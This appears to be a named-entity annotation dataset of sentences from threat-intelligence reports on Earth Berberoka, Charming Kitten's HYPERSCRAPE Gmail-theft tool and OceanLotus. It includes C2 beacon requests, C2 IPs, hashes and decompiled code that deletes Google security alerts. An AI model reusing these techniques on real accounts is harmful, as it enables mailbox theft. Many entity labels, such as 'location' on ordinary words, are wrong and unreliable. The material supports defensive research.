-{"id":9518,"text":"The code flow is redirected through a call to EnumDesktopsA or EnumWindows, whose callback function pointers point to the downloaded content.","entities":[{"id":29198,"label":"location","start_offset":38,"end_offset":42},{"id":29200,"label":"location","start_offset":109,"end_offset":114},{"id":29201,"label":"location","start_offset":133,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":9519,"text":"The downloaders attempt to access ports 8080, 29527, and 8885.","entities":[{"id":29204,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":9520,"text":"They also send the strings “feiji”, “@5436”, and “fhfgj@jfggdsg” to the sockets.","entities":[{"id":29206,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":9521,"text":"We found multiple additional samples of the same malware family that have the same structure and send the same strings.","entities":[{"id":29207,"label":"location","start_offset":44,"end_offset":48},{"id":29208,"label":"location","start_offset":78,"end_offset":82},{"id":29209,"label":"location","start_offset":83,"end_offset":92},{"id":29210,"label":"location","start_offset":93,"end_offset":96},{"id":29211,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":9522,"text":"However, it is possible that multiple groups might be covertly sharing the source code for this malware.","entities":[{"id":29212,"label":"attack-pattern","start_offset":75,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":9523,"text":"PlugX PlugX is a remote access tool (RAT) that has been used as a malicious tool for espionage for more than a decade.","entities":[{"id":29214,"label":"location","start_offset":17,"end_offset":23},{"id":29215,"label":"location","start_offset":31,"end_offset":35},{"id":29216,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":9524,"text":"We found that Earth Berberoka uses PlugX to target 32-bit and 64-bit architectures, based on the samples we obtained and analyzed.","entities":[{"id":29220,"label":"location","start_offset":44,"end_offset":50},{"id":29222,"label":"location","start_offset":58,"end_offset":61},{"id":29224,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":9525,"text":"This malware family sends a DWORD, a 32-bit unsigned integer, in the HELLO packet.","entities":[],"relations":[],"Comments":[]}
-{"id":9526,"text":"A compromised system then sends the HELLO packet, which looks like a date in the “yyyymmdd” format, to the C&C server.","entities":[{"id":29226,"label":"location","start_offset":69,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":9527,"text":" We found the following DWORDs in multiple samples we analyzed, which suggest that the versions we found were developed within the last three years: 20190520, 20201106, and 20210804.","entities":[{"id":29229,"label":"location","start_offset":169,"end_offset":172}],"relations":[],"Comments":[]}
-{"id":9528,"text":"All of the samples we found are loaded in the same way: A legitimate and signed file that is vulnerable to DLL sideloading is placed alongside a malicious DLL, which decrypts and loads the third file containing the final payload.","entities":[{"id":29230,"label":"location","start_offset":28,"end_offset":31},{"id":29231,"label":"location","start_offset":46,"end_offset":50},{"id":29232,"label":"location","start_offset":51,"end_offset":54},{"id":29233,"label":"location","start_offset":69,"end_offset":72},{"id":29234,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":9529,"text":"One of these malicious DLL files has the PDB (program database) path C:\\Users\\Administrator\\Desktop\\Plug7.0(Logger)\\logexts\\x64\\Release\\logexts.pdb.","entities":[{"id":29236,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
 {"id":9530,"text":"Gh0st RAT","entities":[{"id":29237,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":9531,"text":"We also saw at least three different variants of Gh0st RAT, another malware family that has been in the wild for more than 10 years, being used in Earth Berberoka’s campaign.","entities":[{"id":29239,"label":"malware","start_offset":49,"end_offset":58},{"id":29242,"label":"location","start_offset":165,"end_offset":173}],"relations":[],"Comments":[]}
 {"id":9532,"text":"This malware family’s source code is public, which is why it has many variants.","entities":[{"id":29243,"label":"attack-pattern","start_offset":22,"end_offset":28},{"id":29244,"label":"location","start_offset":37,"end_offset":43},{"id":29245,"label":"location","start_offset":65,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":9533,"text":"One of the variants we analyzed had an interesting destructive feature: It replaces the master boot record (MBR) to display an explicit message (“I am virus ! F*ck you :-)”).","entities":[],"relations":[],"Comments":[]}
-{"id":9534,"text":"This particular message was also seen in a public report from a victim of this Gh0st RAT variant.","entities":[{"id":29247,"label":"location","start_offset":43,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":9535,"text":"A 2017 Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) report also discussed how Gh0st RAT variants wiped the MBR and replaced it with messages that varied across different samples.","entities":[{"id":29250,"label":"location","start_offset":7,"end_offset":17},{"id":29251,"label":"malware","start_offset":101,"end_offset":110},{"id":29252,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":9536,"text":"Other Known Malware Families","entities":[],"relations":[],"Comments":[]}
 {"id":9537,"text":"We also found other legitimate tools being abused by Earth Berberoka and a malware family being used by the group in its campaign:  Quasar RAT – a Windows-based open-source RAT that has been used by APT groups for network exploitation","entities":[{"id":29253,"label":"threat-actor","start_offset":53,"end_offset":68},{"id":29254,"label":"location","start_offset":69,"end_offset":72},{"id":29255,"label":"location","start_offset":121,"end_offset":129},{"id":29256,"label":"malware","start_offset":132,"end_offset":142},{"id":29257,"label":"attack-pattern","start_offset":166,"end_offset":172},{"id":29258,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]}
 {"id":9538,"text":"AsyncRAT – an open-source RAT that can be used to remotely monitor and control devices via an encrypted connection Trochilus – a stealthy RAT that can evade sandbox analysis and can be used in cyberespionage campaigns  Security recommendations","entities":[{"id":29259,"label":"malware","start_offset":0,"end_offset":8},{"id":29260,"label":"attack-pattern","start_offset":19,"end_offset":25},{"id":29261,"label":"location","start_offset":35,"end_offset":38},{"id":29262,"label":"location","start_offset":59,"end_offset":66},{"id":29263,"label":"location","start_offset":67,"end_offset":70},{"id":29264,"label":"malware","start_offset":115,"end_offset":124},{"id":29265,"label":"location","start_offset":147,"end_offset":150},{"id":29266,"label":"location","start_offset":174,"end_offset":177},{"id":29267,"label":"location","start_offset":178,"end_offset":181},{"id":29268,"label":"location","start_offset":219,"end_offset":227}],"relations":[],"Comments":[]}
-{"id":9539,"text":"Our analysis points to Earth Berberoka’s having multiple tools and a large infrastructure at its disposal to target the Southeast Asian gambling market.","entities":[{"id":29269,"label":"location","start_offset":13,"end_offset":19},{"id":29271,"label":"location","start_offset":63,"end_offset":66},{"id":29272,"label":"location","start_offset":69,"end_offset":74},{"id":29273,"label":"location","start_offset":109,"end_offset":115},{"id":29275,"label":"location","start_offset":145,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":9540,"text":"To avoid falling victim to Earth Berberoka’s attacks, users and operators of gambling websites can adopt the following security recommendations:  Properly vet emails, websites, and apps before clicking on links or downloading apps.","entities":[{"id":29277,"label":"location","start_offset":60,"end_offset":63},{"id":29278,"label":"location","start_offset":95,"end_offset":98},{"id":29279,"label":"location","start_offset":119,"end_offset":127},{"id":29280,"label":"location","start_offset":177,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":9541,"text":"Download apps only from trusted sources.","entities":[{"id":29281,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":9542,"text":"Watch out for malicious website flags, such as errors in grammar and spelling.","entities":[{"id":29282,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":9543,"text":"Block threats that arrive via email, such as malicious links, through hosted email security and antispam protection.","entities":[{"id":29283,"label":"location","start_offset":83,"end_offset":91},{"id":29284,"label":"location","start_offset":92,"end_offset":95},{"id":29285,"label":"location","start_offset":105,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":9544,"text":"Use a multilayered security solution that helps with detecting, scanning, and blocking malicious URLs.","entities":[{"id":29286,"label":"location","start_offset":19,"end_offset":27},{"id":29287,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":9545,"text":" The full technical details of our investigation can be found in our research paper, which we will publish soon.","entities":[{"id":29288,"label":"location","start_offset":49,"end_offset":52},{"id":29289,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":9546,"text":"We list down the indicators of compromise (IOCs) for Windows, Linux, and macOS in separate text files.","entities":[{"id":29290,"label":"location","start_offset":3,"end_offset":7},{"id":29291,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":9547,"text":"We also provide the domain list in a separate text file.","entities":[{"id":29292,"label":"location","start_offset":27,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":9548,"text":"     Tags  APT & Targeted Attacks | Endpoints | Research | Articles, News, Reports","entities":[{"id":29293,"label":"location","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":9549,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.","entities":[{"id":29295,"label":"location","start_offset":17,"end_offset":24},{"id":29297,"label":"location","start_offset":62,"end_offset":65},{"id":29298,"label":"location","start_offset":94,"end_offset":99},{"id":29300,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":9550,"text":"For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":29304,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":9551,"text":"Now, we’re shining light on a new tool of theirs.","entities":[{"id":29306,"label":"location","start_offset":19,"end_offset":24},{"id":29307,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":9552,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":29310,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":29311,"label":"location","start_offset":57,"end_offset":61},{"id":29315,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":9553,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[],"relations":[],"Comments":[]}
 {"id":9554,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":9555,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":29321,"label":"location","start_offset":17,"end_offset":23},{"id":29323,"label":"location","start_offset":38,"end_offset":41},{"id":29324,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":9556,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[{"id":29325,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":9557,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":29326,"label":"location","start_offset":5,"end_offset":9},{"id":29327,"label":"location","start_offset":10,"end_offset":14},{"id":29331,"label":"location","start_offset":127,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":9558,"text":"HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":29333,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":29334,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":9559,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.","entities":[{"id":29335,"label":"location","start_offset":5,"end_offset":9},{"id":29337,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":9560,"text":" HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[],"relations":[],"Comments":[]}
-{"id":9561,"text":"It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.","entities":[{"id":29339,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":9562,"text":"Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.","entities":[{"id":29341,"label":"location","start_offset":20,"end_offset":24},{"id":29343,"label":"location","start_offset":76,"end_offset":79},{"id":29344,"label":"location","start_offset":174,"end_offset":177},{"id":29345,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":9563,"text":"After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.","entities":[{"id":29346,"label":"location","start_offset":108,"end_offset":111},{"id":29347,"label":"location","start_offset":124,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":9564,"text":"Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.","entities":[{"id":29350,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":9565,"text":"The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.","entities":[{"id":29351,"label":"location","start_offset":4,"end_offset":8},{"id":29352,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":9566,"text":"We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.","entities":[{"id":29355,"label":"location","start_offset":100,"end_offset":103},{"id":29358,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":9567,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[],"relations":[],"Comments":[]}
-{"id":9568,"text":"When launched, the tool makes an HTTP GET request to a C2 to check for a response body of \"OK'' and will terminate if it's not found.","entities":[{"id":29361,"label":"location","start_offset":19,"end_offset":23},{"id":29362,"label":"location","start_offset":61,"end_offset":66},{"id":29363,"label":"location","start_offset":96,"end_offset":99},{"id":29364,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":9569,"text":"In the version tested, the C2 was unobfuscated and stored as a hardcoded string.","entities":[{"id":29365,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":9570,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
 {"id":9571,"text":"GET http:\/\/{C2}\/Index.php?Ck=OK HTTP\/1.1","entities":[{"id":29366,"label":"URL","start_offset":4,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":9572,"text":"Host: {C2}","entities":[{"id":29367,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":9573,"text":"Accept-Encoding: gzip Connection: Keep-Alive","entities":[],"relations":[],"Comments":[]}
-{"id":9574,"text":"The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.","entities":[{"id":29368,"label":"location","start_offset":4,"end_offset":8},{"id":29369,"label":"location","start_offset":61,"end_offset":65},{"id":29370,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":9575,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
-{"id":9576,"text":"Once provided, the data in the \"Identity\" field is sent to a C2 for confirmation.","entities":[{"id":29371,"label":"location","start_offset":42,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":9577,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
 {"id":9578,"text":"GET http:\/\/{C2}\/Index.php?vubc={identity} HTTP\/1.1","entities":[{"id":29372,"label":"URL","start_offset":4,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":9579,"text":"Host: {C2} Accept-Encoding: gzip","entities":[{"id":29373,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":9580,"text":"If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.","entities":[{"id":29374,"label":"location","start_offset":74,"end_offset":78},{"id":29375,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":9581,"text":"After parsing, the cookies are inserted into a local cache used by the embedded web browser.","entities":[{"id":29376,"label":"location","start_offset":27,"end_offset":30},{"id":29377,"label":"location","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":9582,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]}
 {"id":9583,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[],"relations":[],"Comments":[]}
-{"id":9584,"text":"The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.","entities":[{"id":29379,"label":"location","start_offset":100,"end_offset":103},{"id":29380,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":9585,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":29382,"label":"malware","start_offset":64,"end_offset":68},{"id":29383,"label":"location","start_offset":82,"end_offset":85},{"id":29384,"label":"location","start_offset":99,"end_offset":102},{"id":29385,"label":"location","start_offset":112,"end_offset":117},{"id":29386,"label":"location","start_offset":157,"end_offset":161},{"id":29387,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
 {"id":9586,"text":"Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[],"relations":[],"Comments":[]}
 {"id":9587,"text":"The language is returned to its original setting when the run is finished.","entities":[],"relations":[],"Comments":[]}
 {"id":9588,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[],"relations":[],"Comments":[]}
-{"id":9589,"text":"It does the following for each email found: The emails are saved with \".eml\" extensions under the Downloads directory with the filename corresponding to the subject.","entities":[{"id":29391,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":9590,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
-{"id":9591,"text":"When finished, a HTTP POST request is made to the C2 to relay the status and system information.","entities":[{"id":29392,"label":"location","start_offset":22,"end_offset":26},{"id":29393,"label":"location","start_offset":38,"end_offset":42},{"id":29394,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":9592,"text":"The downloaded emails are not sent to the C2.","entities":[{"id":29395,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
 {"id":9593,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":29396,"label":"location","start_offset":0,"end_offset":4},{"id":29397,"label":"URL","start_offset":5,"end_offset":44},{"id":29399,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]}
-{"id":9594,"text":"The program will delete any security emails from Google generated by the attacker’s activity.","entities":[{"id":29400,"label":"location","start_offset":12,"end_offset":16},{"id":29401,"label":"location","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":9595,"text":"private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName(\"span\") where x.TextContent.StartsWith (\"Security alert\") || x.TextContent.StartsWith(\"Archive of Google data requested\") || x.TextContent.StartsWith(\"Your Google data archive is ready\") || x.TextContent.StartsWith(\"Your Google data is ready\") || x.TextContent.StartsWith(\"Critical security alert\") ||","entities":[{"id":29403,"label":"location","start_offset":33,"end_offset":37},{"id":29404,"label":"location","start_offset":59,"end_offset":63},{"id":29405,"label":"location","start_offset":169,"end_offset":177},{"id":29406,"label":"location","start_offset":178,"end_offset":183},{"id":29410,"label":"location","start_offset":410,"end_offset":418},{"id":29411,"label":"location","start_offset":419,"end_offset":424}],"relations":[],"Comments":[]}
 {"id":9596,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") ||","entities":[],"relations":[],"Comments":[]}
 {"id":9597,"text":"x.TextContent.StartsWith(\"Review blocked sign-in attempt\") || x.TextContent.","entities":[],"relations":[],"Comments":[]}
-{"id":9598,"text":"StartsWith(\"Help us protect you: Security advice from Google\")","entities":[{"id":29412,"label":"location","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":9599,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") select x).ToList","entities":[],"relations":[],"Comments":[]}
 {"id":9600,"text":"GeckoHtmlElement > (","entities":[],"relations":[],"Comments":[]}
-{"id":9601,"text":"; bool flag = list.Count == 0; return !flag; }","entities":[{"id":29413,"label":"location","start_offset":7,"end_offset":11},{"id":29414,"label":"location","start_offset":14,"end_offset":18},{"id":29415,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":9602,"text":"Data from Google Takeout is also available upon request, but the option was only found in early builds.","entities":[{"id":29416,"label":"location","start_offset":76,"end_offset":80},{"id":29417,"label":"location","start_offset":90,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":9603,"text":"The functionality was not automated and it's unclear why it was removed in later versions.","entities":[{"id":29418,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":9604,"text":"When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.","entities":[{"id":29419,"label":"location","start_offset":39,"end_offset":43},{"id":29420,"label":"location","start_offset":71,"end_offset":74},{"id":29421,"label":"location","start_offset":136,"end_offset":139},{"id":29422,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":9605,"text":"When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.","entities":[{"id":29423,"label":"location","start_offset":10,"end_offset":13},{"id":29424,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":9606,"text":"public void ManageTakeOut() { string text = \"PipeName\";","entities":[{"id":29425,"label":"location","start_offset":0,"end_offset":6},{"id":29426,"label":"malware","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":9607,"text":"Process process = new Process(); process.StartInfo.Arguments = string.Format(\"PIPE Google \\\"{0}\\\"\", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();","entities":[{"id":29427,"label":"location","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":9608,"text":"PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)","entities":[{"id":29428,"label":"location","start_offset":78,"end_offset":82},{"id":29429,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":9609,"text":"{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }","entities":[{"id":29430,"label":"location","start_offset":71,"end_offset":75},{"id":29431,"label":"location","start_offset":79,"end_offset":83},{"id":29432,"label":"location","start_offset":180,"end_offset":184},{"id":29433,"label":"location","start_offset":207,"end_offset":211},{"id":29434,"label":"location","start_offset":214,"end_offset":218},{"id":29435,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":9610,"text":"jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }","entities":[],"relations":[],"Comments":[]}
-{"id":9611,"text":"catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }","entities":[{"id":29436,"label":"location","start_offset":73,"end_offset":77},{"id":29437,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":9612,"text":"pipeCommunication.Close(); }","entities":[],"relations":[],"Comments":[]}
-{"id":9613,"text":"TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.","entities":[{"id":29439,"label":"location","start_offset":102,"end_offset":110},{"id":29440,"label":"location","start_offset":111,"end_offset":120},{"id":29441,"label":"location","start_offset":122,"end_offset":125},{"id":29442,"label":"location","start_offset":140,"end_offset":143},{"id":29443,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":9614,"text":"It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.","entities":[{"id":29445,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":9615,"text":"We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.","entities":[{"id":29446,"label":"location","start_offset":3,"end_offset":7},{"id":29447,"label":"location","start_offset":17,"end_offset":21},{"id":29448,"label":"location","start_offset":55,"end_offset":58},{"id":29449,"label":"location","start_offset":75,"end_offset":79},{"id":29450,"label":"location","start_offset":95,"end_offset":102},{"id":29451,"label":"location","start_offset":116,"end_offset":119},{"id":29452,"label":"location","start_offset":120,"end_offset":124},{"id":29453,"label":"location","start_offset":160,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":9616,"text":"We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":29454,"label":"tools","start_offset":70,"end_offset":76},{"id":29455,"label":"location","start_offset":77,"end_offset":80},{"id":29456,"label":"location","start_offset":81,"end_offset":89},{"id":29457,"label":"location","start_offset":112,"end_offset":115},{"id":29458,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":9617,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[{"id":29459,"label":"location","start_offset":72,"end_offset":82},{"id":29460,"label":"location","start_offset":97,"end_offset":100},{"id":29461,"label":"threat-actor","start_offset":139,"end_offset":143},{"id":29462,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]}
 {"id":9618,"text":"C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries 03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa","entities":[{"id":29463,"label":"IPV4","start_offset":4,"end_offset":18},{"id":29464,"label":"IPV4","start_offset":19,"end_offset":32},{"id":29465,"label":"SHA1","start_offset":54,"end_offset":118},{"id":29466,"label":"SHA1","start_offset":119,"end_offset":183},{"id":29467,"label":"SHA1","start_offset":184,"end_offset":248},{"id":29468,"label":"SHA1","start_offset":249,"end_offset":313},{"id":29469,"label":"SHA2","start_offset":314,"end_offset":378},{"id":29470,"label":"SHA1","start_offset":379,"end_offset":443},{"id":29471,"label":"SHA1","start_offset":444,"end_offset":508},{"id":29472,"label":"SHA1","start_offset":509,"end_offset":573}],"relations":[],"Comments":[]}
 {"id":9619,"text":"Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\\Working\\Projects\\EmailDownloader\\EmailDownloaderCookieMode\\EmailDownloader\\obj\\Debug\\EmailDownloader.pdb","entities":[{"id":29473,"label":"identity","start_offset":0,"end_offset":9},{"id":29474,"label":"SHA1","start_offset":19,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":9620,"text":"E:\\Working\\Projects\\EmailDownloader\\EmailDownloaderCookieMode\\Mahdi\\LiveLib\\obj\\Release\\LiveLib.pdb","entities":[],"relations":[],"Comments":[]}
 {"id":9621,"text":"We identified a MacOS backdoor (detected by Trend Micro as  OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a. APT 32, APT-C-00, SeaLotus, and Cobalt Kitty).","entities":[{"id":29476,"label":"malware","start_offset":60,"end_offset":76},{"id":29478,"label":"threat-actor","start_offset":155,"end_offset":161},{"id":29481,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":9622,"text":"OceanLotus was responsible for launching targeted attacks against human rights organizations, media organizations, research institutes, and maritime construction firms.","entities":[{"id":29484,"label":"location","start_offset":94,"end_offset":99},{"id":29485,"label":"location","start_offset":136,"end_offset":139},{"id":29486,"label":"location","start_offset":140,"end_offset":148},{"id":29487,"label":"location","start_offset":162,"end_offset":167}],"relations":[],"Comments":[]}
 {"id":9623,"text":"The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed.","entities":[{"id":29488,"label":"malware","start_offset":21,"end_offset":37},{"id":29489,"label":"location","start_offset":38,"end_offset":44},{"id":29490,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":9624,"text":"The MacOS backdoor was found in a malicious Word document presumably distributed via email.","entities":[],"relations":[],"Comments":[]}
-{"id":9625,"text":"The document bears the filename “2018-PHIẾU  GHI  DANH  THAM  DỰ  TĨNH  HỘI HMDC 2018.doc,” which translates to “2018-REGISTRATION FORM OF HMDC ASSEMBLY 2018.doc.”","entities":[{"id":29494,"label":"location","start_offset":144,"end_offset":152}],"relations":[],"Comments":[]}
